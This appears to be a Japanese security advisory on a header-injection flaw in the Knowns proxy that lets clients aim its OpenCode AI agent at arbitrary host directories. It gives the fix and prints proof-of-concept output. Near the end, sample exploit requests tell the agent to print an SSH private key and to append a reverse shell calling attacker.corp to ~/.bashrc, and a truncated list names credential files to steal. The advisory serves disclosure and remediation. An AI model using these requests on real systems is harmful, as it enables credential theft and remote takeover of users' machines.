
Knowns 0.30.0:未認証のヘッダーインジェクションによりAIエージェントがホストファイルシステムへ無制限にアクセス可能に
Knownsの組み込みOpenCode AIエージェントデーモン向けリバースプロキシ(internal/server/server.go)に関して、不適切な認可およびヘッダースプーフィングの脆弱性が報告されました。報告によると、ローカルのOpenCodeデーモンへHTTPリクエストをプロキシする際、プロキシがx-opencode-directoryリクエストヘッダーおよび?directoryクエリパラメータを無条件に上書きしていませんでした。いずれかの値を明示的に設定したクライアントは、OpenCode AIエージェントをプロジェクトルートではなく、ホストファイルシステム上の任意のディレクトリに対して動作させることができました。
proxyOpenCode()の1283-1296行目は、受信リクエストがこれらのフィールドを空のままにした場合にのみactiveRootを注入するとされていたため、クライアントが指定した非空の値はそのままOpenCodeバックエンドへ通過していました。OpenCodeデーモンはx-opencode-directoryを読み取り、ファイルツリー、gitインターフェース、ターミナル実行環境を初期化します。したがって、KnownsのHTTPポートにアクセスできる攻撃者は、完全なツールアクセス権を持つ自律型AIエージェントに対し、システムディレクトリや認証情報ストアを含む任意のホストディレクトリに対する読み取り、書き込み、実行を指示できました。
攻撃対象領域はネットワークから到達可能です。KnownsはHTTP APIとMCPエンドポイントを外部クライアントに公開しており、これは先行アドバイザリGHSA-w323-3wpx-f7g5(MCP Permission Guard Bypass)で確認されたものと同じ露出であり、この攻撃対象領域を共有しています。Knownsサーバーに到達できる任意のHTTPクライアントは、通常のAPIが受け入れる範囲を超える認証情報なしでこのヘッダーを注入できました。
報告されたプロキシのガードロジックはフェイルオープンな条件分岐を使用しており、ヘッダーまたはパラメータが存在しない場合にのみ動作します。正しいパターンはフェイルクローズドです。つまり、クライアントが何を送信したかに関係なく、常にこれらの値をactiveRootで上書きする必要があります。この違いは1行です - if == "" か無条件の Set か。
完全に自動化された決定論的検証ハーネスが開発され、検証済みです: bug_reports/poc_report_03.py。
Python 3を使用して自己完結型の検証スイートを実行します:
python CVE-2026-88899.py
検証出力:
======================================================================
Knowns OpenCode Reverse Proxy - PoC Exploit & Verification Harness
Target: proxyOpenCode() Fail-Open Header/Parameter Injection
======================================================================
[+] Mock OpenCode Daemon listening on port 49162
[+] Knowns Proxy listening on port 49163
[*] Canonical Active Project Root: /workspace/knowns-project
----------------------------------------------------------------------
[Test 1] Baseline Normal Request (No Injected Headers):
Request: GET /api/opencode/session
Daemon received header: /workspace/knowns-project
Daemon received query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
=> Result: PASSED (Canonical activeRoot properly injected when header is absent)
[Test 2] Exploit Vector A: Client Injects 'x-opencode-directory: /home/victim/.ssh':
Attacker Sent Header: x-opencode-directory: /home/victim/.ssh
Daemon Received Header: /home/victim/.ssh
Effective Directory: /home/victim/.ssh
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /home/victim/.ssh hijacked!
[Test 3] Exploit Vector B: Client Injects '?directory=/etc' on GET /session:
Attacker Injected Query: ?directory=/etc
Daemon Received Query: /etc
Effective Directory: /etc
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /etc hijacked!
[Test 4] Exploit Vector C: Client Injects '?directory=/etc' on POST /session:
Attacker Injected Query: ?directory=/etc on POST
Daemon Received Query: /etc
Effective Directory: /etc
=> Result: [!] VULNERABILITY CONFIRMED! Guard was only scoped to GET /session!
[Test 5] Remediation Verification (Fail-Closed Enforcement):
Attacker Sent Header: /home/victim/.ssh
Attacker Sent Query: /etc
Daemon Received Header: /workspace/knowns-project
Daemon Received Query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
Sandbox Escaped: False
=> Result: [+] REMEDIATION VERIFIED! Header and query parameters unconditionally sanitized.
======================================================================
ALL TESTS PASSED: Fail-open exploit vectors and remediation proven deterministically.
======================================================================
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim/.ssh
{
"title": "System Diagnostic",
"prompt": "Read the contents of id_rsa and print them verbatim."
}
実行への影響:
x-opencode-directory: /home/victim/.sshを付けてリクエストをOpenCodeへ転送します。/home/victim/.sshでツールセッションを初期化します。id_rsaに対して呼び出し、JSONレスポンスストリームで秘密鍵を返します。POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim
{
"title": "Environment Setup",
"prompt": "Append 'bash -i >& /dev/tcp/attacker.corp/4444 0>&1' to ~/.bashrc"
}
実行への影響:
/home/victimでワークスペースを初期化します。.bashrcに追記します。GET /api/opencode/session?directory=/home/victim/confidential-project HTTP/1.1
Host: 127.0.0.1:4141
実行への影響:
OpenCodeはconfidential-projectに関連するセッションメタデータ、過去のプロンプト、および独自のソーススニペットを返します。
~/.ssh/id_rsa)、クラウド認証情報(~/.aws/credentials、~/.config/gcloud/)、APIキー、データベース接続文字列、.envファイルを窃取できます。~/.bashrc、~/.zshrc)、スケジュールジョブ(/etc/cron.d/)、gitフック(.git/hooks/pre-commit)、アプリケーション設定を上書きできます。